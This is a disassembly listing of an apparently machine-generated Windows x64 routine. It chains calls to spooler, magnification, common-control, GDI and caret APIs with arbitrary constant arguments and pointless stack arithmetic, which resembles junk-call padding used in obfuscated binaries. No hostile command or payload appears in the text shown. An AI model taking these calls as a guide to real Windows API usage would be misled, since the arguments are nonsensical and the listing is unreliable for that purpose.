mov rcx, qword [rsp + 0x8e10]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf0c]
movzx ecx, word [rsp + 0xf04]
add eax, ecx
mov word [0x14024f3c8], ax
lea rdx, [rsp + 0x1f0e0]
mov rcx, qword [rsp + 0x8fc0]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x4678], eax
lea rcx, [rsp + 0x1a2b8]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x8c58], rax
mov edx, 0xca
lea rcx, [rsp + 0xa54]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x9020], rax
mov rax, qword [rsp + 0x9160]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x272]
sub eax, ecx
mov byte [rsp + 0x271], al
lea rdx, [rsp + 0x1f310]
mov rcx, qword [rsp + 0x8fe8]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x4694], eax
lea rcx, [rsp + 0x1f000]
call sub.MAGNIFICATION.dll_MagGetFullscreenColorEffect
mov dword [rsp + 0x4848], eax
mov rax, qword [rsp + 0x8e00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4744]
shl eax, cl
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
movsx ecx, word [0x14024f3bc]
xor eax, ecx
mov word [rsp + 0xa54], ax
mov dword [rsp + 0x20], 0xd3
lea r9, [rsp + 0xf0c]
mov r8d, 0x73
mov edx, 0x58
mov rcx, qword [rsp + 0x1a1b0]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x78fc], eax
lea rax, [rsp + 0x9160]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x273]
mov qword [rsp + 0x20], rax
mov r9d, 0x59
lea r8, [rsp + 0x9008]
mov edx, 0x8a
mov rcx, qword [rsp + 0x1a1b8]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x7900], eax
jmp 0x14019cad8
mov r9d, 0x77
mov r8d, 0xfc
mov rdx, qword [rsp + 0x90c8]
mov rcx, qword [rsp + 0x9190]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x478c], eax
mov rax, qword [rsp + 0x8f20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf0c], ax
mov r9d, 0xc7
lea r8, [rsp + 0x91a8]
xor edx, edx
mov rcx, qword [rsp + 0x92c8]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x7904], eax
movzx eax, byte [rsp + 0xee]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8f18]
mov byte [rcx], al
lea rax, [rsp + 0x26a]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1a1c0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xdc
lea r9, [rsp + 0x7904]
mov r8d, 0xf1
mov rdx, qword [rsp + 0x8ea8]
mov ecx, 0x4b
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x4728], eax
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf00]
and eax, ecx
mov word [rsp + 0xf0c], ax
mov r9d, reloc.COMCTL32.dll_DrawInsert
mov r8d, 0x1d
mov edx, 0xdb
mov rcx, qword [rsp + 0x94c8]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8c20], rax
jmp 0x14019cad8
mov edx, 0xb4
mov rcx, qword [rsp + 0x1a1c8]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x9460], rax
lea rax, [rsp + 0x270]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x8b70]
mov r8d, 0x23
mov rdx, qword [rsp + 0x9368]
mov rcx, qword [rsp + 0x1a1d0]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x46cc], eax
mov edx, 0xcc
mov rcx, qword [rsp + 0x1a198]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x91b8], rax
mov rax, qword [rsp + 0x8e10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x469c], eax
mov eax, dword [rsp + 0x47b8]
mov rcx, qword [rsp + 0x8e10]
mov qword [rsp + 0x1a1d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a1d8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x4750], eax
movzx eax, byte [rsp + 0x1d3]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x26a], al
lea rax, [rsp + 0x272]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x75
lea rax, [rsp + 0x9160]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x8f10]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8d68]
mov qword [rsp + 0x20], rax
mov r9d, 0x46
mov r8, qword [rsp + 0x1a1e0]
mov edx, 0x49
mov rcx, qword [rsp + 0x8e80]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x47b8], eax
mov r8d, 0xae
mov rdx, qword [rsp + 0x8b88]
mov rcx, qword [rsp + 0x1a1c8]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov r9d, 0xb9
lea r8, [rsp + 0x1ef90]
xor edx, edx
mov rcx, qword [rsp + 0x9128]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x4680], eax
lea r9, [rsp + 0x8ef0]
mov r8d, 0x82
mov rdx, qword [rsp + 0x8e48]
mov rcx, qword [rsp + 0x91d0]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x78e4], eax
movsx eax, word [rsp + 0xb4c]
mov rcx, qword [rsp + 0x9170]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xef0], ax
mov rax, qword [rsp + 0x8ef0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9160]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8ef0]
mov byte [rcx], al
mov r9d, 0xc1
mov r8d, 0x97
mov rdx, qword [rsp + 0x9418]
mov rcx, qword [rsp + 0x8fa8]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x4728], eax
lea rax, [rsp + 0xef0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x47d8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x8f
lea r9, [rsp + 0x8f50]
mov r8d, 0xb2
mov rdx, qword [rsp + 0x9038]
mov ecx, 0x25
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x47a4], eax
jmp 0x14019d099
mov r9d, 0x3c
mov r8d, 0xd9
mov edx, 0xbf
mov rcx, qword [rsp + 0x8b78]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8c20], rax
mov rax, qword [rsp + 0x8cf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x80e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9010]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x6d8], ax
jmp 0x14019d099
lea rdx, [rsp + 0x1f230]
mov rcx, qword [rsp + 0x8b68]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x7908], eax
lea r9, [rsp + 0xef0]
mov r8d, 0x3d
mov rdx, qword [rsp + 0x1a130]
mov rcx, qword [rsp + 0x8c70]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x4870], eax
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x9080]
mov r8d, 0x64
mov rdx, qword [rsp + 0x8b38]
mov rcx, qword [rsp + 0x8dc0]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x470c], eax
movsx eax, word [0x14024f3bc]
mov rcx, qword [rsp + 0x9170]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb4c], ax
lea r9, [rsp + 0xf0c]
lea r8, [rsp + 0x1ef90]
xor edx, edx
mov rcx, qword [rsp + 0x9450]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x78f8], eax
mov r9d, 0xb7
mov r8d, 7
mov edx, 0x68
mov rcx, qword [rsp + 0x8f58]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8c20], rax
jmp 0x14019d099
movsx eax, byte [rsp + 0x272]
mov rcx, qword [rsp + 0x8ef0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9160]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f10]
mov rcx, qword [rsp + 0x9008]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7b18], rax
lea rax, [rsp + 0x8f60]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8d80]
mov qword [rsp + 0x20], rax
mov r9d, 0xcd
lea r8, [rsp + 0x8e00]
mov edx, 0x4a
mov rcx, qword [rsp + 0x9110]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x790c], eax
lea rax, [rsp + 0x9010]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], reloc.COMCTL32.dll_LBItemFromPt
lea r9, [rsp + 0x1a310]
lea r8, [rsp + 0x8d68]
mov rdx, qword [rsp + 0x8d88]
mov rcx, qword [rsp + 0x9068]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x4a40], eax
mov r9d, 0xe0
lea r8, [rsp + 0x8e60]
mov edx, 0x5c
mov rcx, qword [rsp + 0x9460]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x78f8], eax
mov eax, dword [rsp + 0x4668]
mov dword [rsp + 0x4884], eax
lea rax, [rsp + 0x8e60]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x3f
lea rax, [rsp + 0x1a288]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x8f18]
mov r8, qword [rsp + 0x8ca0]
mov rdx, qword [rsp + 0x90c0]
mov rcx, qword [rsp + 0x8e50]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x4774], eax
lea rax, [rsp + 0x4668]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xa2
lea r9, [rsp + 0x8bd0]
lea r8, [rsp + 0x8b28]
mov rdx, qword [rsp + 0x8c40]
mov rcx, qword [rsp + 0x8d78]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x485c], eax
movzx eax, byte [rsp + 0x26a]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
movzx eax, word [0x14024f3c8]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf0c], ax
lea rax, [rsp + 0x8f10]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x7f10]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xf6
lea rax, [rsp + 0x47cc]
mov qword [rsp + 0x20], rax
mov r9d, 0xeb
mov r8d, 0x6f
mov edx, 0x89
mov rcx, qword [rsp + 0x8dc0]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x46b0], eax
mov r9d, 0xfa
mov r8d, 0x74
mov edx, 0xed
mov rcx, qword [rsp + 0x8fb8]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x94d0], rax
lea rcx, [rsp + 0x1a248]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x8c08], rax
mov rax, qword [rsp + 0x8e60]
mov ecx, dword [rsp + 0x4434]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x46e8], eax
mov r9d, 0x77
mov r8d, 0x85
mov edx, 0x65
mov rcx, qword [rsp + 0x92b0]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8c20], rax
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
movsx ecx, word [0x14024f3be]
or eax, ecx
mov word [0x14024f3bc], ax
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [rsp + 0x4884]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8e00]
mov dword [rcx], eax
lea rax, [rsp + 0x1a2f8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8f98]
mov qword [rsp + 0x20], rax
mov r9d, 0xf4
lea r8, [rsp + 0x8ec8]
mov rdx, qword [rsp + 0x9038]
mov rcx, qword [rsp + 0x8c88]
call sub.WINSPOOL.DRV_EnumPrinterDataExW
mov dword [rsp + 0x4670], eax
mov r8d, 0x23
mov rdx, qword [rsp + 0x9018]
mov rcx, qword [rsp + 0x92f8]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
movzx eax, byte [rsp + 0x26a]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x274], al
mov edx, 0x1d
lea rcx, [rsp + 0x1eeb0]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x8f30], rax
lea rax, [rsp + 0x26a]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xea
lea rax, [rsp + 0x8e08]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x8110]
mov r8, qword [rsp + 0x8de0]
mov rdx, qword [rsp + 0x1a1e8]
mov rcx, qword [rsp + 0x8ff8]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x46d4], eax
mov rcx, qword [rsp + 0x8c80]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x46d0], eax
lea rax, [rsp + 0x8fe0]
mov qword [rsp + 0x20], rax
mov r9d, 0x81
mov r8, qword [rsp + 0x91a0]
mov rdx, qword [rsp + 0x90e0]
mov rcx, qword [rsp + 0x1a1f0]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x49a8], eax
lea rax, [rsp + 0xf00]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x4758]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x76
lea rax, [rsp + 0x8ba8]
mov qword [rsp + 0x20], rax
mov r9d, 0xfb
mov r8d, 5
mov edx, 0x69
mov rcx, qword [rsp + 0x9440]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x7910], eax
mov eax, dword [rsp + 0x465c]
movzx ecx, al
mov eax, dword [rsp + 0x46e8]
shl eax, cl
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6d8]
and eax, ecx
mov word [rsp + 0xf00], ax
mov qword [rsp + 0x20], 0xb4
mov r9, qword [rsp + 0x8bd8]
mov r8, qword [rsp + 0x1a1f8]
mov rdx, qword [rsp + 0x8b50]
mov rcx, qword [rsp + 0x90f0]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x48a0], eax
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x8110]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x80e0], rax
lea rax, [rsp + 0x8f20]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8f10]
mov qword [rsp + 0x20], rax
mov r9d, 7
lea r8, [rsp + 0x8f50]
mov edx, 0x85
mov rcx, qword [rsp + 0x90a8]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x7914], eax
jmp 0x14019d8e9
xor r8d, r8d
mov rdx, qword [rsp + 0x8ec8]
mov rcx, qword [rsp + 0x93f8]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x4644], eax
lea r9, [rsp + 0x9008]
mov r8d, 3
mov rdx, qword [rsp + 0x9138]
mov rcx, qword [rsp + 0x8dc0]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x468c], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x26a], al
lea r9, [rsp + 0xa54]
mov r8d, 0x68
mov rdx, qword [rsp + 0x9140]
mov rcx, qword [rsp + 0x92f0]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x790c], eax
lea rcx, [rsp + 0x1a258]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x9098], rax
mov dword [rsp + 0x20], 0xce
lea r9, [rsp + 0x1a310]
mov r8d, 0xe2
mov edx, 0x76
mov rcx, qword [rsp + 0x91d0]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x48b0], eax
lea r8, [rsp + 0x271]
xor edx, edx
mov rcx, qword [rsp + 0x8cd0]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x47ec], eax
lea rdx, [rsp + 0x1a2e0]
mov rcx, qword [rsp + 0x9110]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x4858], eax
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x8cf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8d38]
mov qword [rcx], rax
movzx eax, word [rsp + 0x6d8]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf00], ax
mov r9d, 0xb0
mov r8d, 0x6f
mov rdx, qword [rsp + 0x1a200]
mov rcx, qword [rsp + 0x1a208]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x47fc], eax
jmp 0x14019d8e9
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
or eax, ecx
mov byte [rsp + 0x1d3], al
mov edx, 0xe5
mov rcx, qword [rsp + 0x8b88]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x8cc8], rax
lea rcx, [rsp + 0x1ed30]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x4744], eax
mov eax, dword [rsp + 0x47d8]
movzx ecx, al
mov eax, dword [rsp + 0x46d4]
shr eax, cl
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
movsx ecx, word [0x14024f3bc]
and eax, ecx
mov word [0x14024f3be], ax
mov r9d, 0x93
lea r8, [rsp + 0x8e18]
xor edx, edx
mov rcx, qword [rsp + 0x8ca8]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x48c0], eax
lea rdx, [rsp + 0x1a2c8]
mov rcx, qword [rsp + 0x8c78]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x4798], eax
mov dword [rsp + 0x28], 0xa8
lea rax, [rsp + 0x272]
mov qword [rsp + 0x20], rax
mov r9d, 0xe0
mov r8, qword [rsp + 0x9108]
mov rdx, qword [rsp + 0x8d88]
mov rcx, qword [rsp + 0x8dc0]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x484c], eax
movsx eax, byte [rsp + 0x272]
mov rcx, qword [rsp + 0x8ef0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x271], al
lea rcx, [rsp + 0x1ed30]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x4884], eax
xor r8d, r8d
mov rdx, qword [rsp + 0x8ec8]
mov rcx, qword [rsp + 0x8c30]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x4684], eax
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [rsp + 0x4684]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7b18], rax
lea r8, [rsp + 0x8cb0]
lea rdx, [rsp + 0x8ef0]
lea rcx, [rsp + 0xf0c]
call sub.MAGNIFICATION.dll_MagGetFullscreenTransform
mov dword [rsp + 0x48d0], eax
lea rcx, [rsp + 0x1f000]
call sub.MAGNIFICATION.dll_MagGetFullscreenColorEffect
mov dword [rsp + 0x46cc], eax
jmp 0x14019d8e9
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x46e0], eax
mov rax, qword [rsp + 0x8e10]
mov eax, dword [rax]
mov dword [rsp + 0x4800], eax
mov rcx, qword [rsp + 0x91f8]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x478c], eax
lea rcx, [rsp + 0x1a298]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x8c08], rax
movzx eax, byte [rsp + 0x26f]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov byte [rcx], al
jmp 0x14019d8e9
movzx eax, word [rsp + 0xf04]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf00], ax
mov dword [rsp + 0x20], 0xd5
lea r9, [rsp + 0x274]
mov r8d, 0xbc
lea rdx, [rsp + 0x9080]
mov rcx, qword [rsp + 0x8c60]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x47a4], eax
lea rax, [rsp + 0x9160]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x33
lea r9, [rsp + 0xeec]
mov r8d, 0x23
mov edx, 0x1a
mov rcx, qword [rsp + 0x8e80]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x78f8], eax
lea rcx, [rsp + 0x1f230]
call sub.MAGNIFICATION.dll_MagGetFullscreenColorEffect
mov dword [rsp + 0x48b0], eax
mov rax, qword [rsp + 0x8e30]
mov rcx, qword [rsp + 0x7f10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x80e0], rax
lea rax, [rsp + 0x8ef0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], LBItemFromPt
lea r9, [rsp + 0x9170]
mov r8d, 0xc3
mov rdx, qword [rsp + 0x8dd8]
mov rcx, qword [rsp + 0x8e98]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x4830], eax
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x9010]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8d38]
mov qword [rcx], rax
mov edx, 0xec
mov ecx, 0xef
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0x8c08], rax
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
movsx ecx, word [0x14024f3be]
add eax, ecx
mov word [rsp + 0xa54], ax
lea rax, [rsp + 0x4768]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x87
lea r9, [rsp + 0x9250]
mov r8d, 0xa6
mov rdx, qword [rsp + 0x9108]
mov rcx, qword [rsp + 0x92c0]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x7918], eax
lea r9, [rsp + 0x8f10]
lea r8, [rsp + 0x8e00]
xor edx, edx
mov rcx, qword [rsp + 0x8fa8]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x46dc], eax
lea rax, [rsp + 0x8e58]
mov qword [rsp + 0x20], rax
mov r9d, 3
lea r8, [rsp + 0x1edf0]
mov edx, LBItemFromPt
mov rcx, qword [rsp + 0x93a0]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x46d0], eax
lea rcx, [rsp + 0x1a278]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x9020], rax
lea rax, [rsp + 0x8dc0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xfb
lea r9, [rsp + 0x9010]
lea r8, [rsp + 0x8f98]
mov rdx, qword [rsp + 0x1a190]
mov rcx, qword [rsp + 0x8b48]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x4800], eax
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xef0]
add eax, ecx
mov rcx, qword [rsp + 0x9170]
mov word [rcx], ax
lea rax, [rsp + 0x8c20]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xd9
lea r9, [rsp + 0x4784]
mov r8d, 0x3a
mov rdx, qword [rsp + 0x8dd0]
mov rcx, qword [rsp + 0x1a1c0]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x46cc], eax
movsx eax, byte [rsp + 0x272]
movsx ecx, byte [rsp + 0x271]
add eax, ecx
mov byte [rsp + 0x273], al
lea rdx, [rsp + 0x1f230]
mov rcx, qword [rsp + 0x9228]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x4804], eax
lea rax, [rsp + 0x9400]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8f50]
mov qword [rsp + 0x20], rax
mov r9d, 1
lea r8, [rsp + 0x1ed30]
mov edx, 0x50
mov rcx, qword [rsp + 0x8b40]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x46c8], eax
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x4828], eax
lea rax, [rsp + 0x9010]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x3d
lea r9, [rsp + 0x1a2e0]
lea r8, [rsp + 0x47c4]
mov rdx, qword [rsp + 0x8ff0]
mov rcx, qword [rsp + 0x1a1d0]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x4774], eax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov dword [rsp + 0x4684], eax
movzx eax, word [rsp + 0x6d8]
movzx ecx, word [rsp + 0xeec]
add eax, ecx
mov rcx, qword [rsp + 0x8e58]
mov word [rcx], ax
jmp 0x14019e01e
mov dword [rsp + 0x28], LBItemFromPt
lea rax, [rsp + 0x1a2e0]
mov qword [rsp + 0x20], rax
mov r9d, 0x63
mov r8, qword [rsp + 0x90e0]
mov rdx, qword [rsp + 0x8f00]
mov rcx, qword [rsp + 0x1a1c0]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x47b8], eax
lea r9, [rsp + 0x8e60]
mov r8d, 0x97
mov rdx, qword [rsp + 0x8c40]
mov rcx, qword [rsp + 0x8db8]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x7910], eax
mov qword [rsp + 0x20], 0x80
mov r9, qword [rsp + 0x8bd8]
mov r8, qword [rsp + 0x8b88]
mov rdx, qword [rsp + 0x90b8]
mov rcx, qword [rsp + 0x9400]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x8b98], rax
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf04]
and eax, ecx
mov rcx, qword [rsp + 0x8f20]
mov word [rcx], ax
movzx eax, byte [rsp + 0x26a]
movzx ecx, byte [rsp + 0x1d3]
add eax, ecx
mov byte [rsp + 0x274], al
lea r9, [rsp + 0x8f20]
lea r8, [rsp + 0x9170]
xor edx, edx
mov rcx, qword [rsp + 0x1a210]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x46cc], eax
mov eax, dword [rsp + 0x4670]
mov dword [rsp + 0x47b8], eax
mov r9d, 0x66
mov r8d, 0xfe
mov edx, 0x4b
mov rcx, qword [rsp + 0x1a208]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b90], rax
lea rdx, [rsp + 0x1f230]
mov rcx, qword [rsp + 0x8c30]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x7910], eax
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x9010]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8cf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e30]
mov rcx, qword [rsp + 0x80e0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f10], rax
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x4730], eax
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x473c], eax
jmp 0x14019e01e
lea rax, [rsp + 0x473c]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x45
lea rax, [rsp + 0xf00]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1a298]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8e30]
mov qword [rsp + 0x20], rax
mov r9d, 0xdf
mov r8, qword [rsp + 0x1a218]
mov edx, 0xee
mov rcx, qword [rsp + 0x8e98]
call sub.WINSPOOL.DRV_EnumPrinterDataW
